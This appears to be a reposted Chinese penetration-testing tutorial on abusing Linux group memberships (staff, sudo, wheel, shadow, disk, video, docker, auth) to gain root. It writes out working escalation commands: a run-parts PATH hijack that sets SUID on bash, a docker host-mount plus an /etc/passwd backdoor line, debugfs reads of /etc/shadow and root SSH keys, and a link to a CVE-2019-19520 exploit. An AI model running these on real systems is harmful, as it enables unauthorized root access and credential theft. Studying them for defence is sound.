当前位置: 首页 > news >正文

Linux渗透中group的利用

文章目录

  • 组的介绍
      • 👤 **用户与管理相关**
      • 💾 **文件系统与存储**
      • 🌐 **网络与设备**
      • 🛠 **服务和安全**
      • 📌 **其他常见组**
  • 组的利用
    • staff组
        • 什么是run-parts
    • sudo/admin组
      • method 1
      • method 2
    • wheel组
    • shadow组
    • Disk组
    • Video组
    • root组
    • docker组
    • adm组
    • auth组

组的介绍

Linux为了便于权限的管理,加入了许多组

👤 用户与管理相关

组名用途说明
root超级用户组,拥有系统最高权限。
usersuser默认普通用户组。
staff允许成员在 /usr/local 下安装软件等较宽松操作。
wheel传统上用于允许成员使用 su 切换到 root(在某些发行版中)。
sudo允许成员通过 sudo 获取管理员权限(Debian/Ubuntu 系列)。

💾 文件系统与存储

组名用途说明
disk访问本地磁盘设备。
tape访问磁带机设备。
floppy访问软盘驱动器。
cdrom挂载/访问光驱设备。

🌐 网络与设备

组名用途说明
netdev管理网络设备。
plugdev允许用户挂载和使用可移动设备(如 U 盘)。
lp打印机设备访问。
scanner扫描仪设备访问。

🛠 服务和安全

组名用途说明
adm系统日志读取权限(如 /var/log)。
sys系统设备管理相关操作。
daemon系统服务进程的默认组。
mail邮件服务相关。
games游戏相关文件访问权限。

📌 其他常见组

组名用途说明
audio访问音频设备。
video访问视频设备(如摄像头)。
input输入设备访问(键盘、鼠标)。
docker允许使用 Docker 命令无需 sudo。
kvm访问 KVM 虚拟化功能。

组的利用

staff组

staff组可以向``/usr/local/bin/usr/local/sbin写入,而如果类似/usr/local/sbin`的环境变量靠前,就可以考虑环境变量劫持

在 debian 发行版中,$PATH 变量显示 /usr/local/ 将作为最高优先级运行,无论您是否是特权用户

所以当遇到debian系机子,并且用户又是staff组时,就可以打提权

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

如果我们有这样一个一定会在某种条件下运行的程序,就可以写一个跟这个程序名字相同的木马,将其放到/usr/local/bin下,当条件触发时,系统来环境变量中找这个程序时,首先找到并使用的就是我们的恶意木马。

劫持run-parts是一种比较容易获得root 的方法,因为大多数程序都会运行一个run-parts ,比如 (crontab,当 ssh 登录时)。

什么是run-parts

run-parts 是一个 Linux/Unix 命令行工具,主要功能是:

  • 批量运行指定目录下的 所有可执行文件
  • 按文件名的字典顺序执行。
  • 它不会递归子目录,只运行当前目录下的文件。

当ssh登录时,系统以root权限处理定时任务,进而使用run-parts,所以此时的run-parts短暂拥有root权限,只要在这个时候把bash设置成suid程序,后续就可以拿到root权限的bash

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts# 0x3 start a new ssh sesstion to trigger the run-parts program# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash# 0x5 root it
$ /bin/bash -p

sudo/admin组

method 1

有时默认情况下(或者因为某些软件需要它)/etc/sudoers 文件中,你可以找到以下一些行:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

只需要执行sudo su即可成为root

method 2

查看Pkexec是否是suid文件

pkexec "/bin/sh"

但个人觉得这个命令应该不会太靠谱,如果pkexec版本低于0.105,还是建议打CVE-2021-4034

如果收到以下报错

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

可能是因为没有GUI的情况下无法连接,需要两个终端

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

wheel组

有时默认情况下 ,在 /etc/sudoers 文件中,您可以找到以下行:

%wheel	ALL=(ALL:ALL) ALL

sudo su即可成为root(这个时候输密码是检查你是否属于wheel组,用自己的密码即可

shadow组

这个组的用户可以读取/etc/shadow文件,可以尝试用hashcat或者在线网站去破解一些哈希值

Disk组

这个组基本相当于一个root

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

debugfsext2/ext3/ext4 文件系统的调试工具

作用:以 低级方式访问文件系统,可以绕过 Linux 文件权限检查。

打开后,你就进入了 debugfs 交互模式

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

也就是说这玩意可以绕过一些权限检查,看到一些东西,也可以写,只是不能写入root所有

Video组

有权查看屏幕输出。基本上你可以观察屏幕。为此,需要以原始数据抓取屏幕上的当前图像并获得屏幕正在使用的分辨率。屏幕数据可以保存在 /dev/fb0

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

打开原始图像,可以使用 GIMP, 选择 screen.raw 文件并选择作为文件类型 原始图像数据

root组

查看root组可以修改的内容(通过修改一些东西辅助提权?

find / -group root -perm -g=w 2>/dev/null

docker组

这个组的利用比较有意思,一种用法就是将/目录挂载到docker里,然后从docker里拿信息

docker image #Get images from the docker service#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

另外一种用法是之前打靶场遇到的,主机的某个目录挂载到docker中,然后主机将bash复制到共享目录,docker中的root再给bash赋权

adm组

这个组可以查看/var/log/中的日志

auth组

auth组通常可以写入/etc/skey和/var/db/yubikey,可以打cve-2019-19520

https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

    1. CVE-2019-19520 → 利用 xlock 提升到 auth 组权限
    2. CVE-2019-19522 → 利用 S/Key 或 YubiKey 提升到 root

文章转载自:

http://o8jawkxh.whcLz.cn
http://FZrCjr2W.whcLz.cn
http://6bOaLui8.whcLz.cn
http://WMb5IGM7.whcLz.cn
http://mmHa85BV.whcLz.cn
http://kpnYak00.whcLz.cn
http://2Xvhdvla.whcLz.cn
http://A4apJhYB.whcLz.cn
http://El2Gtp8y.whcLz.cn
http://xv7cI8pU.whcLz.cn
http://HwUEjW0V.whcLz.cn
http://GY2yGfKG.whcLz.cn
http://WGNsGGNb.whcLz.cn
http://MbGLCBBl.whcLz.cn
http://XckN0xN9.whcLz.cn
http://hNxcpDGU.whcLz.cn
http://KUJ5HwDZ.whcLz.cn
http://f5fAC9fU.whcLz.cn
http://PzTpexFu.whcLz.cn
http://9IXCpMBL.whcLz.cn
http://E9VSN5dr.whcLz.cn
http://EkPi8AUC.whcLz.cn
http://qWeDK3UD.whcLz.cn
http://iuwEiJ3E.whcLz.cn
http://pe8XcMoK.whcLz.cn
http://r7HdbBxg.whcLz.cn
http://KlQ1YDaV.whcLz.cn
http://lDYIrBIn.whcLz.cn
http://NEIMJzCn.whcLz.cn
http://JHRW0zIJ.whcLz.cn
http://www.dtcms.com/a/388381.html

相关文章:

  • Linux:基础开发工具
  • 数据结构----链表
  • 堆排序算法
  • 安卓多任务闹钟实现
  • 【源码集锦】基于Java+SpringBoot+Uniapp+Mysql的租房小程序技术搭建
  • Oceanbase下使用TPC-H模式生成数据
  • 20250917让荣品RD-RK3588-MID开发板的Android13系统在刷机的时候就直接以百分比显示电池电量
  • MySQL 核心操作全解析(用户 + SHOW+DML+DCL)
  • 【前端】【React】【Zustand】[特殊字符] Zustand 系统学习大纲(实战版)
  • 在测试接口时,遇到关于时间参数的传参时,遇到类型编译器无法转换的解决方案
  • 晶圆厂为什么都采用高架地板?
  • unsloth 笔记:微调mistral-7b(纯文本数据集)
  • 【vim,Svelte】怎样使用 vim 编辑 Svelte 那些奇奇怪怪名字的文件?
  • 【AOI基板外观缺陷检测软件】基于Halcon+C#开发的AOI基板外观缺陷检测软件,全套源码,开箱即用
  • htb academy笔记-module-Password Attacks(一)
  • Java程序设计:顺序结构与分支结构
  • 铺满式水印添加教程!水印如何铺满整个详情页页面?
  • 基于SpringBoot+Vue.js开发的医疗器械管理系统
  • 职业定位:用 “能力 - 兴趣 - 需求” 模型找到赛道
  • Caffeine Expiry
  • 【C++项目】C++11重构muduo库
  • 如何选择靠谱的防伪溯源系统公司?
  • 线程池 相关知识
  • 搭建CI/CD 流水线简单说明
  • 大Key与热Key详解:概念、危害与解决方案
  • Java中的自动拆装箱原理
  • Android 入门笔记(2)
  • 程序员内功之成长性思维
  • vLLM 和 SGLang 是两个近年来备受关注的开源项目
  • CMake进阶: 路径处理指令join_paths和cmake_path